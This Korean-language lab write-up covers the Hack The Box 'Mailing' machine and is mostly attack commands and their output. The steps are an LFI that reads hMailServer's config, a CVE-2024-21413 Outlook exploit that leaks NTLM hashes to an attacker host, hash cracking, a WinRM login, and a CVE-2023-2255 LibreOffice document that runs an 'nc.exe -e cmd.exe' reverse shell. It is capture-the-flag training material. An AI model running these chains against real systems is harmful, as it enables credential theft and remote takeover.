풀이 시간
초기 침투
[서비스] / [취약점] / [CVE 또는 기법] 요약
포트 스캔, hMailServer 동작함
PORT STATE SERVICE VERSION
25/tcp open smtp hMailServer smtpd
| smtp-commands: mailing.htb, SIZE 20480000, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Did not follow redirect to http://mailing.htb
110/tcp open pop3 hMailServer pop3d
|_pop3-capabilities: UIDL TOP USER
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
143/tcp open imap hMailServer imapd
|_imap-capabilities: OK CHILDREN QUOTA CAPABILITY NAMESPACE IDLE ACL completed RIGHTS=texkA0001 IMAP4rev1 IMAP4 SORT
445/tcp open microsoft-ds?
465/tcp open ssl/smtp hMailServer smtpd
|_ssl-date: TLS randomness does not represent time
| smtp-commands: mailing.htb, SIZE 20480000, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
| ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU
| Not valid before: 2024-02-27T18:24:10
|_Not valid after: 2029-10-06T18:24:10
587/tcp open smtp hMailServer smtpd
| smtp-commands: mailing.htb, SIZE 20480000, STARTTLS, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
| ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU
| Not valid before: 2024-02-27T18:24:10
|_Not valid after: 2029-10-06T18:24:10
|_ssl-date: TLS randomness does not represent time
993/tcp open ssl/imap hMailServer imapd
|_ssl-date: TLS randomness does not represent time
|_imap-capabilities: OK CHILDREN QUOTA CAPABILITY NAMESPACE IDLE ACL completed RIGHTS=texkA0001 IMAP4rev1 IMAP4 SORT
| ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU
| Not valid before: 2024-02-27T18:24:10
|_Not valid after: 2029-10-06T18:24:10
5040/tcp open unknown
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
7680/tcp open pando-pub?
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
60135/tcp open msrpc Microsoft Windows RPC
Service Info: Host: mailing.htb; OS: Windows; CPE: cpe:/o:microsoft:windows
/etc/hosts 추가
10.129.232.39 mailing.htb
mailing.htb 접속

정적 페이지여서 feroxbuster 사용해서 디렉터리 퍼징함, download.php 발견

file 파라미터로 추측해 ..\..\..\..\..\..\..\windows\system.ini LFI 취약점 발견

https://www.exploit-db.com/exploits/7012 문서 참고해 http://mailing.htb/download.php?file=..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\Program+Files+(x86)\hmailserver\Bin\hmailserver.ini 접근

AdministratorPassword=841bb5acfa6779ae432fd7a4e6600ba7 패스워드는 크랙 결과
homenetworkingadministrator

5985 Winrm 포트가 열려있어 Administrator:homenetworkingadministrator 로그인 시도했으나 실패함
https://github.com/xaitax/CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability
python CVE-2024-21413.py --server 10.129.232.39 --port 587 --username Administrator@mailing.htb --password homenetworkingadministrator --sender Administrator@mailing.htb --recipient maya@mailing.htb --url "\\10.10.17.83\test" --subject "HTB"NTLM 해시를 얻기 위해 SMB 서버를 오픈해야 함
sudo responder -I tun0 -dwv
[SMB] NTLMv2-SSP Client : 10.129.232.39
[SMB] NTLMv2-SSP Username : MAILING\maya
[SMB] NTLMv2-SSP Hash : maya::MAILING:a5b8f4b31ed8798b:1E41FC7FE9CDFF2E6C518D8478131656:010100000000000000B1A24CAD46DD010272D6974EEA749200000000020008004A0052005300460001001E00570049004E002D0038005000430035003200310056005900550045004B0004003400570049004E002D0038005000430035003200310056005900550045004B002E004A005200530046002E004C004F00430041004C00030014004A005200530046002E004C004F00430041004C00050014004A005200530046002E004C004F00430041004C000700080000B1A24CAD46DD010600040002000000080030003000000000000000000000000020000082576735AA6731C640BD44E132D4A1582708E2EAE1F5C38E35EC84527CA169D10A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310037002E00380033000000000000000000
John the ripper 사용해 크래킹
~/htb/Mailing ❯ john --wordlist=rockyou.txt hashes 14:07:47
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
m4y4ngs4ri (maya)
1g 0:00:00:02 DONE (2026-09-17 14:08) 0.4081g/s 2422Kp/s 2422Kc/s 2422KC/s m51376..m3790k4162
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.
5985 포트가 열려있어 evil-winrm 으로 로그인 함
evil-winrm -u maya -p m4y4ngs4ri -i mailing.htb
program files 폴더에서LibreOffice애플리케이션을 발견함
libreoffice\program\version.ini 파일을 읽어 리브레오피스의 버전이 7.4.0.1 인 것을 확인
7.4.0.1 버전은 CVE-2023-2255 취약저이 존재함
elweth-sec/CVE-2023-2255
python3 cve-2023-2255.py --cmd 'nc.exe ip -e cmd.exe' --output 'exploit.odt'
nc.exe, exploit.odt 파일을 타겟 머신에 업로드함
C:\Important Documents 폴더가 존재하함 이 폴더는 마야 유저로 파일 쓰기가 가능함
파일은 몇 분뒤에 제거되는 것으로 보아 스케줄러가 동작하는 것 같음
Important Documents 폴더에 exploit.odt 파일 업로드
잠시 후 루트 권한 리버스 쉘이 연결됨
권한 상승
[misconfiguration 또는 exploit] 요약
막힌 포인트
[열거 누락? 기법 몰랐음? 방향 잘못?] 요약